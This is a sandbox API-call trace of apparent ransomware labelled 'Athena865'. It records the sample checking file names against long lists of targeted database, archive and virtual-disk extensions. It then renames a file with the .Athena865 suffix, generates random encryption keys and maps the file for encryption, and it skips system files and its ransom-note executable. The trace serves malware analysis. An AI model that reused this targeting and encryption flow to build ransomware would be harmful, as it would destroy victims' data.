lstrcmpiW (lpString1="hxn", lpString2="dxl") returned 1 [0048.545] lstrlenW (lpString="eco") returned 3 [0048.545] lstrcmpiW (lpString1="hxn", lpString2="eco") returned 1 [0048.545] lstrlenW (lpString="ecx") returned 3 [0048.545] lstrcmpiW (lpString1="hxn", lpString2="ecx") returned 1 [0048.545] lstrlenW (lpString="edb") returned 3 [0048.545] lstrcmpiW (lpString1="hxn", lpString2="edb") returned 1 [0048.545] lstrlenW (lpString="epim") returned 4 [0048.545] lstrcmpiW (lpString1=".hxn", lpString2="epim") returned -1 [0048.545] lstrlenW (lpString="fcd") returned 3 [0048.545] lstrcmpiW (lpString1="hxn", lpString2="fcd") returned 1 [0048.545] lstrlenW (lpString="fdb") returned 3 [0048.545] lstrcmpiW (lpString1="hxn", lpString2="fdb") returned 1 [0048.545] lstrlenW (lpString="fic") returned 3 [0048.545] lstrcmpiW (lpString1="hxn", lpString2="fic") returned 1 [0048.545] lstrlenW (lpString="flexolibrary") returned 12 [0048.545] lstrlenW (lpString="fm5") returned 3 [0048.545] lstrcmpiW (lpString1="hxn", lpString2="fm5") returned 1 [0048.545] lstrlenW (lpString="fmp") returned 3 [0048.545] lstrcmpiW (lpString1="hxn", lpString2="fmp") returned 1 [0048.545] lstrlenW (lpString="fmp12") returned 5 [0048.545] lstrcmpiW (lpString1="x.hxn", lpString2="fmp12") returned 1 [0048.545] lstrlenW (lpString="fmpsl") returned 5 [0048.545] lstrcmpiW (lpString1="x.hxn", lpString2="fmpsl") returned 1 [0048.545] lstrlenW (lpString="fol") returned 3 [0048.545] lstrcmpiW (lpString1="hxn", lpString2="fol") returned 1 [0048.545] lstrlenW (lpString="fp3") returned 3 [0048.545] lstrcmpiW (lpString1="hxn", lpString2="fp3") returned 1 [0048.545] lstrlenW (lpString="fp4") returned 3 [0048.545] lstrcmpiW (lpString1="hxn", lpString2="fp4") returned 1 [0048.545] lstrlenW (lpString="fp5") returned 3 [0048.546] lstrcmpiW (lpString1="hxn", lpString2="fp5") returned 1 [0048.546] lstrlenW (lpString="fp7") returned 3 [0048.546] lstrcmpiW (lpString1="hxn", lpString2="fp7") returned 1 [0048.546] lstrlenW (lpString="fpt") returned 3 [0048.546] lstrcmpiW (lpString1="hxn", lpString2="fpt") returned 1 [0048.546] lstrlenW (lpString="frm") returned 3 [0048.546] lstrcmpiW (lpString1="hxn", lpString2="frm") returned 1 [0048.546] lstrlenW (lpString="gdb") returned 3 [0048.546] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1 [0048.546] lstrlenW (lpString="gdb") returned 3 [0048.546] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1 [0048.546] lstrlenW (lpString="grdb") returned 4 [0048.546] lstrcmpiW (lpString1=".hxn", lpString2="grdb") returned -1 [0048.546] lstrlenW (lpString="gwi") returned 3 [0048.546] lstrcmpiW (lpString1="hxn", lpString2="gwi") returned 1 [0048.546] lstrlenW (lpString="hdb") returned 3 [0048.546] lstrcmpiW (lpString1="hxn", lpString2="hdb") returned 1 [0048.546] lstrlenW (lpString="his") returned 3 [0048.546] lstrcmpiW (lpString1="hxn", lpString2="his") returned 1 [0048.546] lstrlenW (lpString="ib") returned 2 [0048.546] lstrcmpiW (lpString1="xn", lpString2="ib") returned 1 [0048.546] lstrlenW (lpString="idb") returned 3 [0048.546] lstrcmpiW (lpString1="hxn", lpString2="idb") returned -1 [0048.546] lstrlenW (lpString="ihx") returned 3 [0048.546] lstrcmpiW (lpString1="hxn", lpString2="ihx") returned -1 [0048.546] lstrlenW (lpString="itdb") returned 4 [0048.546] lstrcmpiW (lpString1=".hxn", lpString2="itdb") returned -1 [0048.546] lstrlenW (lpString="itw") returned 3 [0048.546] lstrcmpiW (lpString1="hxn", lpString2="itw") returned -1 [0048.546] lstrlenW (lpString="jet") returned 3 [0048.546] lstrcmpiW (lpString1="hxn", lpString2="jet") returned -1 [0048.546] lstrlenW (lpString="jtx") returned 3 [0048.546] lstrcmpiW (lpString1="hxn", lpString2="jtx") returned -1 [0048.546] lstrlenW (lpString="kdb") returned 3 [0048.546] lstrcmpiW (lpString1="hxn", lpString2="kdb") returned -1 [0048.546] lstrlenW (lpString="kexi") returned 4 [0048.547] lstrcmpiW (lpString1=".hxn", lpString2="kexi") returned -1 [0048.547] lstrlenW (lpString="kexic") returned 5 [0048.547] lstrcmpiW (lpString1="x.hxn", lpString2="kexic") returned 1 [0048.547] lstrlenW (lpString="kexis") returned 5 [0048.547] lstrcmpiW (lpString1="x.hxn", lpString2="kexis") returned 1 [0048.547] lstrlenW (lpString="lgc") returned 3 [0048.547] lstrcmpiW (lpString1="hxn", lpString2="lgc") returned -1 [0048.547] lstrlenW (lpString="lwx") returned 3 [0048.547] lstrcmpiW (lpString1="hxn", lpString2="lwx") returned -1 [0048.547] lstrlenW (lpString="maf") returned 3 [0048.547] lstrcmpiW (lpString1="hxn", lpString2="maf") returned -1 [0048.547] lstrlenW (lpString="maq") returned 3 [0048.547] lstrcmpiW (lpString1="hxn", lpString2="maq") returned -1 [0048.547] lstrlenW (lpString="mar") returned 3 [0048.547] lstrcmpiW (lpString1="hxn", lpString2="mar") returned -1 [0048.547] lstrlenW (lpString="marshal") returned 7 [0048.547] lstrlenW (lpString="mas") returned 3 [0048.547] lstrcmpiW (lpString1="hxn", lpString2="mas") returned -1 [0048.547] lstrlenW (lpString="mav") returned 3 [0048.547] lstrcmpiW (lpString1="hxn", lpString2="mav") returned -1 [0048.547] lstrlenW (lpString="maw") returned 3 [0048.547] lstrcmpiW (lpString1="hxn", lpString2="maw") returned -1 [0048.547] lstrlenW (lpString="mdbhtml") returned 7 [0048.547] lstrlenW (lpString="mdn") returned 3 [0048.547] lstrcmpiW (lpString1="hxn", lpString2="mdn") returned -1 [0048.547] lstrlenW (lpString="mdt") returned 3 [0048.547] lstrcmpiW (lpString1="hxn", lpString2="mdt") returned -1 [0048.547] lstrlenW (lpString="mfd") returned 3 [0048.547] lstrcmpiW (lpString1="hxn", lpString2="mfd") returned -1 [0048.547] lstrlenW (lpString="mpd") returned 3 [0048.547] lstrcmpiW (lpString1="hxn", lpString2="mpd") returned -1 [0048.547] lstrlenW (lpString="mrg") returned 3 [0048.547] lstrcmpiW (lpString1="hxn", lpString2="mrg") returned -1 [0048.547] lstrlenW (lpString="mud") returned 3 [0048.547] lstrcmpiW (lpString1="hxn", lpString2="mud") returned -1 [0048.547] lstrlenW (lpString="mwb") returned 3 [0048.548] lstrcmpiW (lpString1="hxn", lpString2="mwb") returned -1 [0048.548] lstrlenW (lpString="myd") returned 3 [0048.548] lstrcmpiW (lpString1="hxn", lpString2="myd") returned -1 [0048.548] lstrlenW (lpString="ndf") returned 3 [0048.548] lstrcmpiW (lpString1="hxn", lpString2="ndf") returned -1 [0048.548] lstrlenW (lpString="nnt") returned 3 [0048.548] lstrcmpiW (lpString1="hxn", lpString2="nnt") returned -1 [0048.548] lstrlenW (lpString="nrmlib") returned 6 [0048.548] lstrlenW (lpString="ns2") returned 3 [0048.548] lstrcmpiW (lpString1="hxn", lpString2="ns2") returned -1 [0048.548] lstrlenW (lpString="ns3") returned 3 [0048.548] lstrcmpiW (lpString1="hxn", lpString2="ns3") returned -1 [0048.548] lstrlenW (lpString="ns4") returned 3 [0048.548] lstrcmpiW (lpString1="hxn", lpString2="ns4") returned -1 [0048.548] lstrlenW (lpString="nsf") returned 3 [0048.548] lstrcmpiW (lpString1="hxn", lpString2="nsf") returned -1 [0048.548] lstrlenW (lpString="nv") returned 2 [0048.548] lstrcmpiW (lpString1="xn", lpString2="nv") returned 1 [0048.548] lstrlenW (lpString="nv2") returned 3 [0048.548] lstrcmpiW (lpString1="hxn", lpString2="nv2") returned -1 [0048.548] lstrlenW (lpString="nwdb") returned 4 [0048.548] lstrcmpiW (lpString1=".hxn", lpString2="nwdb") returned -1 [0048.548] lstrlenW (lpString="nyf") returned 3 [0048.548] lstrcmpiW (lpString1="hxn", lpString2="nyf") returned -1 [0048.548] lstrlenW (lpString="odb") returned 3 [0048.548] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1 [0048.548] lstrlenW (lpString="odb") returned 3 [0048.548] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1 [0048.548] lstrlenW (lpString="oqy") returned 3 [0048.548] lstrcmpiW (lpString1="hxn", lpString2="oqy") returned -1 [0048.548] lstrlenW (lpString="ora") returned 3 [0048.548] lstrcmpiW (lpString1="hxn", lpString2="ora") returned -1 [0048.548] lstrlenW (lpString="orx") returned 3 [0048.548] lstrcmpiW (lpString1="hxn", lpString2="orx") returned -1 [0048.548] lstrlenW (lpString="owc") returned 3 [0048.548] lstrcmpiW (lpString1="hxn", lpString2="owc") returned -1 [0048.549] lstrlenW (lpString="p96") returned 3 [0048.549] lstrcmpiW (lpString1="hxn", lpString2="p96") returned -1 [0048.549] lstrlenW (lpString="p97") returned 3 [0048.549] lstrcmpiW (lpString1="hxn", lpString2="p97") returned -1 [0048.549] lstrlenW (lpString="pan") returned 3 [0048.549] lstrcmpiW (lpString1="hxn", lpString2="pan") returned -1 [0048.549] lstrlenW (lpString="pdb") returned 3 [0048.549] lstrcmpiW (lpString1="hxn", lpString2="pdb") returned -1 [0048.549] lstrlenW (lpString="pdm") returned 3 [0048.549] lstrcmpiW (lpString1="hxn", lpString2="pdm") returned -1 [0048.549] lstrlenW (lpString="pnz") returned 3 [0048.549] lstrcmpiW (lpString1="hxn", lpString2="pnz") returned -1 [0048.549] lstrlenW (lpString="qry") returned 3 [0048.549] lstrcmpiW (lpString1="hxn", lpString2="qry") returned -1 [0048.549] lstrlenW (lpString="qvd") returned 3 [0048.549] lstrcmpiW (lpString1="hxn", lpString2="qvd") returned -1 [0048.549] lstrlenW (lpString="rbf") returned 3 [0048.549] lstrcmpiW (lpString1="hxn", lpString2="rbf") returned -1 [0048.549] lstrlenW (lpString="rctd") returned 4 [0048.549] lstrcmpiW (lpString1=".hxn", lpString2="rctd") returned -1 [0048.549] lstrlenW (lpString="rod") returned 3 [0048.549] lstrcmpiW (lpString1="hxn", lpString2="rod") returned -1 [0048.549] lstrlenW (lpString="rodx") returned 4 [0048.549] lstrcmpiW (lpString1=".hxn", lpString2="rodx") returned -1 [0048.549] lstrlenW (lpString="rpd") returned 3 [0048.549] lstrcmpiW (lpString1="hxn", lpString2="rpd") returned -1 [0048.549] lstrlenW (lpString="rsd") returned 3 [0048.549] lstrcmpiW (lpString1="hxn", lpString2="rsd") returned -1 [0048.549] lstrlenW (lpString="sas7bdat") returned 8 [0048.549] lstrlenW (lpString="sbf") returned 3 [0048.549] lstrcmpiW (lpString1="hxn", lpString2="sbf") returned -1 [0048.549] lstrlenW (lpString="scx") returned 3 [0048.549] lstrcmpiW (lpString1="hxn", lpString2="scx") returned -1 [0048.549] lstrlenW (lpString="sdb") returned 3 [0048.550] lstrcmpiW (lpString1="hxn", lpString2="sdb") returned -1 [0048.550] lstrlenW (lpString="sdc") returned 3 [0048.550] lstrcmpiW (lpString1="hxn", lpString2="sdc") returned -1 [0048.550] lstrlenW (lpString="sdf") returned 3 [0048.550] lstrcmpiW (lpString1="hxn", lpString2="sdf") returned -1 [0048.550] lstrlenW (lpString="sis") returned 3 [0048.550] lstrcmpiW (lpString1="hxn", lpString2="sis") returned -1 [0048.550] lstrlenW (lpString="spq") returned 3 [0048.550] lstrcmpiW (lpString1="hxn", lpString2="spq") returned -1 [0048.550] lstrlenW (lpString="te") returned 2 [0048.550] lstrcmpiW (lpString1="xn", lpString2="te") returned 1 [0048.550] lstrlenW (lpString="teacher") returned 7 [0048.550] lstrlenW (lpString="tmd") returned 3 [0048.550] lstrcmpiW (lpString1="hxn", lpString2="tmd") returned -1 [0048.550] lstrlenW (lpString="tps") returned 3 [0048.550] lstrcmpiW (lpString1="hxn", lpString2="tps") returned -1 [0048.550] lstrlenW (lpString="trc") returned 3 [0048.550] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1 [0048.550] lstrlenW (lpString="trc") returned 3 [0048.550] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1 [0048.550] lstrlenW (lpString="trm") returned 3 [0048.550] lstrcmpiW (lpString1="hxn", lpString2="trm") returned -1 [0048.550] lstrlenW (lpString="udb") returned 3 [0048.550] lstrcmpiW (lpString1="hxn", lpString2="udb") returned -1 [0048.550] lstrlenW (lpString="udl") returned 3 [0048.550] lstrcmpiW (lpString1="hxn", lpString2="udl") returned -1 [0048.550] lstrlenW (lpString="usr") returned 3 [0048.550] lstrcmpiW (lpString1="hxn", lpString2="usr") returned -1 [0048.550] lstrlenW (lpString="v12") returned 3 [0048.550] lstrcmpiW (lpString1="hxn", lpString2="v12") returned -1 [0048.550] lstrlenW (lpString="vis") returned 3 [0048.550] lstrcmpiW (lpString1="hxn", lpString2="vis") returned -1 [0048.550] lstrlenW (lpString="vpd") returned 3 [0048.550] lstrcmpiW (lpString1="hxn", lpString2="vpd") returned -1 [0048.550] lstrlenW (lpString="vvv") returned 3 [0048.551] lstrcmpiW (lpString1="hxn", lpString2="vvv") returned -1 [0048.551] lstrlenW (lpString="wdb") returned 3 [0048.551] lstrcmpiW (lpString1="hxn", lpString2="wdb") returned -1 [0048.551] lstrlenW (lpString="wmdb") returned 4 [0048.551] lstrcmpiW (lpString1=".hxn", lpString2="wmdb") returned -1 [0048.551] lstrlenW (lpString="wrk") returned 3 [0048.551] lstrcmpiW (lpString1="hxn", lpString2="wrk") returned -1 [0048.551] lstrlenW (lpString="xdb") returned 3 [0048.551] lstrcmpiW (lpString1="hxn", lpString2="xdb") returned -1 [0048.551] lstrlenW (lpString="xld") returned 3 [0048.551] lstrcmpiW (lpString1="hxn", lpString2="xld") returned -1 [0048.551] lstrlenW (lpString="xmlff") returned 5 [0048.551] lstrcmpiW (lpString1="x.hxn", lpString2="xmlff") returned -1 [0048.551] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\Hx.hxn.Athena865") returned 46 [0048.551] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\Hx.hxn" (normalized: "c:\\programdata\\microsoft help\\hx.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\Hx.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\hx.hxn.athena865"), dwFlags=0x1) returned 1 [0048.552] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\Hx.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\hx.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.552] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=390) returned 1 [0048.552] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.552] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.552] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.552] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.553] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.553] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.553] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x490, lpName=0x0) returned 0x154 [0048.556] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x490) returned 0x100000 [0048.556] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.557] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.557] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0048.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0048.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50afa8 [0048.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50afa8 | out: hHeap=0x4f0000) returned 1 [0048.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.558] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.558] CloseHandle (hObject=0x154) returned 1 [0048.558] CloseHandle (hObject=0x17c) returned 1 [0048.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.558] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfa72fc10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa72fc10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa7a2030, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.EXCEL.14.1033.hxn", cAlternateFileName="MSEXCE~1.HXN")) returned 1 [0048.558] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.558] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.558] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2=".") returned 1 [0048.558] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2="..") returned 1 [0048.558] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2="windows") returned -1 [0048.558] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2="bootmgr") returned 1 [0048.558] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2="temp") returned -1 [0048.558] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2="pagefile.sys") returned -1 [0048.558] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2="boot") returned 1 [0048.559] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2="ids.txt") returned 1 [0048.559] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2="ntuser.dat") returned -1 [0048.559] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2="perflogs") returned -1 [0048.559] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2="MSBuild") returned -1 [0048.559] lstrlenW (lpString="MS.EXCEL.14.1033.hxn") returned 20 [0048.559] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.EXCEL.14.1033.hxn" | out: lpString1="MS.EXCEL.14.1033.hxn") returned="MS.EXCEL.14.1033.hxn" [0048.559] lstrlenW (lpString="MS.EXCEL.14.1033.hxn") returned 20 [0048.559] lstrlenW (lpString="Athena865") returned 9 [0048.559] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.559] lstrlenW (lpString=".dll") returned 4 [0048.559] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2=".dll") returned 1 [0048.559] lstrlenW (lpString=".lnk") returned 4 [0048.559] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2=".lnk") returned 1 [0048.559] lstrlenW (lpString=".ini") returned 4 [0048.559] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2=".ini") returned 1 [0048.559] lstrlenW (lpString=".sys") returned 4 [0048.559] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2=".sys") returned 1 [0048.559] lstrlenW (lpString="MS.EXCEL.14.1033.hxn") returned 20 [0048.559] lstrlenW (lpString="bak") returned 3 [0048.559] lstrcmpiW (lpString1="hxn", lpString2="bak") returned 1 [0048.559] lstrlenW (lpString="ba_") returned 3 [0048.559] lstrcmpiW (lpString1="hxn", lpString2="ba_") returned 1 [0048.559] lstrlenW (lpString="dbb") returned 3 [0048.559] lstrcmpiW (lpString1="hxn", lpString2="dbb") returned 1 [0048.559] lstrlenW (lpString="vmdk") returned 4 [0048.559] lstrcmpiW (lpString1=".hxn", lpString2="vmdk") returned -1 [0048.559] lstrlenW (lpString="rar") returned 3 [0048.559] lstrcmpiW (lpString1="hxn", lpString2="rar") returned -1 [0048.559] lstrlenW (lpString="zip") returned 3 [0048.559] lstrcmpiW (lpString1="hxn", lpString2="zip") returned -1 [0048.559] lstrlenW (lpString="tgz") returned 3 [0048.559] lstrcmpiW (lpString1="hxn", lpString2="tgz") returned -1 [0048.559] lstrlenW (lpString="vbox") returned 4 [0048.559] lstrcmpiW (lpString1=".hxn", lpString2="vbox") returned -1 [0048.560] lstrlenW (lpString="vdi") returned 3 [0048.560] lstrcmpiW (lpString1="hxn", lpString2="vdi") returned -1 [0048.560] lstrlenW (lpString="vhd") returned 3 [0048.560] lstrcmpiW (lpString1="hxn", lpString2="vhd") returned -1 [0048.560] lstrlenW (lpString="vhdx") returned 4 [0048.560] lstrcmpiW (lpString1=".hxn", lpString2="vhdx") returned -1 [0048.560] lstrlenW (lpString="avhd") returned 4 [0048.560] lstrcmpiW (lpString1=".hxn", lpString2="avhd") returned -1 [0048.560] lstrlenW (lpString="db") returned 2 [0048.560] lstrcmpiW (lpString1="xn", lpString2="db") returned 1 [0048.560] lstrlenW (lpString="db2") returned 3 [0048.560] lstrcmpiW (lpString1="hxn", lpString2="db2") returned 1 [0048.560] lstrlenW (lpString="db3") returned 3 [0048.560] lstrcmpiW (lpString1="hxn", lpString2="db3") returned 1 [0048.560] lstrlenW (lpString="dbf") returned 3 [0048.560] lstrcmpiW (lpString1="hxn", lpString2="dbf") returned 1 [0048.560] lstrlenW (lpString="mdf") returned 3 [0048.560] lstrcmpiW (lpString1="hxn", lpString2="mdf") returned -1 [0048.560] lstrlenW (lpString="mdb") returned 3 [0048.560] lstrcmpiW (lpString1="hxn", lpString2="mdb") returned -1 [0048.560] lstrlenW (lpString="sql") returned 3 [0048.560] lstrcmpiW (lpString1="hxn", lpString2="sql") returned -1 [0048.560] lstrlenW (lpString="sqlite") returned 6 [0048.560] lstrcmpiW (lpString1="33.hxn", lpString2="sqlite") returned -1 [0048.560] lstrlenW (lpString="sqlite3") returned 7 [0048.560] lstrcmpiW (lpString1="033.hxn", lpString2="sqlite3") returned -1 [0048.560] lstrlenW (lpString="sqlitedb") returned 8 [0048.560] lstrcmpiW (lpString1="1033.hxn", lpString2="sqlitedb") returned -1 [0048.560] lstrlenW (lpString="xml") returned 3 [0048.560] lstrcmpiW (lpString1="hxn", lpString2="xml") returned -1 [0048.560] lstrlenW (lpString="$er") returned 3 [0048.560] lstrcmpiW (lpString1="hxn", lpString2="$er") returned 1 [0048.560] lstrlenW (lpString="4dd") returned 3 [0048.560] lstrcmpiW (lpString1="hxn", lpString2="4dd") returned 1 [0048.560] lstrlenW (lpString="4dl") returned 3 [0048.561] lstrcmpiW (lpString1="hxn", lpString2="4dl") returned 1 [0048.561] lstrlenW (lpString="^^^") returned 3 [0048.561] lstrcmpiW (lpString1="hxn", lpString2="^^^") returned 1 [0048.561] lstrlenW (lpString="abs") returned 3 [0048.561] lstrcmpiW (lpString1="hxn", lpString2="abs") returned 1 [0048.561] lstrlenW (lpString="abx") returned 3 [0048.561] lstrcmpiW (lpString1="hxn", lpString2="abx") returned 1 [0048.561] lstrlenW (lpString="accdb") returned 5 [0048.561] lstrcmpiW (lpString1="3.hxn", lpString2="accdb") returned -1 [0048.561] lstrlenW (lpString="accdc") returned 5 [0048.561] lstrcmpiW (lpString1="3.hxn", lpString2="accdc") returned -1 [0048.561] lstrlenW (lpString="accde") returned 5 [0048.561] lstrcmpiW (lpString1="3.hxn", lpString2="accde") returned -1 [0048.561] lstrlenW (lpString="accdr") returned 5 [0048.561] lstrcmpiW (lpString1="3.hxn", lpString2="accdr") returned -1 [0048.561] lstrlenW (lpString="accdt") returned 5 [0048.561] lstrcmpiW (lpString1="3.hxn", lpString2="accdt") returned -1 [0048.561] lstrlenW (lpString="accdw") returned 5 [0048.561] lstrcmpiW (lpString1="3.hxn", lpString2="accdw") returned -1 [0048.561] lstrlenW (lpString="accft") returned 5 [0048.561] lstrcmpiW (lpString1="3.hxn", lpString2="accft") returned -1 [0048.561] lstrlenW (lpString="adb") returned 3 [0048.561] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1 [0048.561] lstrlenW (lpString="adb") returned 3 [0048.561] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1 [0048.561] lstrlenW (lpString="ade") returned 3 [0048.561] lstrcmpiW (lpString1="hxn", lpString2="ade") returned 1 [0048.561] lstrlenW (lpString="adf") returned 3 [0048.561] lstrcmpiW (lpString1="hxn", lpString2="adf") returned 1 [0048.561] lstrlenW (lpString="adn") returned 3 [0048.561] lstrcmpiW (lpString1="hxn", lpString2="adn") returned 1 [0048.561] lstrlenW (lpString="adp") returned 3 [0048.561] lstrcmpiW (lpString1="hxn", lpString2="adp") returned 1 [0048.561] lstrlenW (lpString="alf") returned 3 [0048.561] lstrcmpiW (lpString1="hxn", lpString2="alf") returned 1 [0048.561] lstrlenW (lpString="ask") returned 3 [0048.562] lstrcmpiW (lpString1="hxn", lpString2="ask") returned 1 [0048.562] lstrlenW (lpString="btr") returned 3 [0048.562] lstrcmpiW (lpString1="hxn", lpString2="btr") returned 1 [0048.562] lstrlenW (lpString="cat") returned 3 [0048.562] lstrcmpiW (lpString1="hxn", lpString2="cat") returned 1 [0048.562] lstrlenW (lpString="cdb") returned 3 [0048.562] lstrcmpiW (lpString1="hxn", lpString2="cdb") returned 1 [0048.562] lstrlenW (lpString="ckp") returned 3 [0048.562] lstrcmpiW (lpString1="hxn", lpString2="ckp") returned 1 [0048.562] lstrlenW (lpString="cma") returned 3 [0048.562] lstrcmpiW (lpString1="hxn", lpString2="cma") returned 1 [0048.562] lstrlenW (lpString="cpd") returned 3 [0048.562] lstrcmpiW (lpString1="hxn", lpString2="cpd") returned 1 [0048.562] lstrlenW (lpString="dacpac") returned 6 [0048.562] lstrcmpiW (lpString1="33.hxn", lpString2="dacpac") returned -1 [0048.562] lstrlenW (lpString="dad") returned 3 [0048.562] lstrcmpiW (lpString1="hxn", lpString2="dad") returned 1 [0048.562] lstrlenW (lpString="dadiagrams") returned 10 [0048.562] lstrcmpiW (lpString1="4.1033.hxn", lpString2="dadiagrams") returned -1 [0048.562] lstrlenW (lpString="daschema") returned 8 [0048.562] lstrcmpiW (lpString1="1033.hxn", lpString2="daschema") returned -1 [0048.562] lstrlenW (lpString="db-journal") returned 10 [0048.562] lstrcmpiW (lpString1="4.1033.hxn", lpString2="db-journal") returned -1 [0048.562] lstrlenW (lpString="db-shm") returned 6 [0048.562] lstrcmpiW (lpString1="33.hxn", lpString2="db-shm") returned -1 [0048.562] lstrlenW (lpString="db-wal") returned 6 [0048.562] lstrcmpiW (lpString1="33.hxn", lpString2="db-wal") returned -1 [0048.562] lstrlenW (lpString="dbc") returned 3 [0048.562] lstrcmpiW (lpString1="hxn", lpString2="dbc") returned 1 [0048.562] lstrlenW (lpString="dbs") returned 3 [0048.562] lstrcmpiW (lpString1="hxn", lpString2="dbs") returned 1 [0048.562] lstrlenW (lpString="dbt") returned 3 [0048.562] lstrcmpiW (lpString1="hxn", lpString2="dbt") returned 1 [0048.562] lstrlenW (lpString="dbv") returned 3 [0048.562] lstrcmpiW (lpString1="hxn", lpString2="dbv") returned 1 [0048.563] lstrlenW (lpString="dbx") returned 3 [0048.563] lstrcmpiW (lpString1="hxn", lpString2="dbx") returned 1 [0048.563] lstrlenW (lpString="dcb") returned 3 [0048.563] lstrcmpiW (lpString1="hxn", lpString2="dcb") returned 1 [0048.563] lstrcmpiW (lpString1="hxn", lpString2="dct") returned 1 [0048.563] lstrcmpiW (lpString1="hxn", lpString2="dcx") returned 1 [0048.563] lstrcmpiW (lpString1="hxn", lpString2="ddl") returned 1 [0048.563] 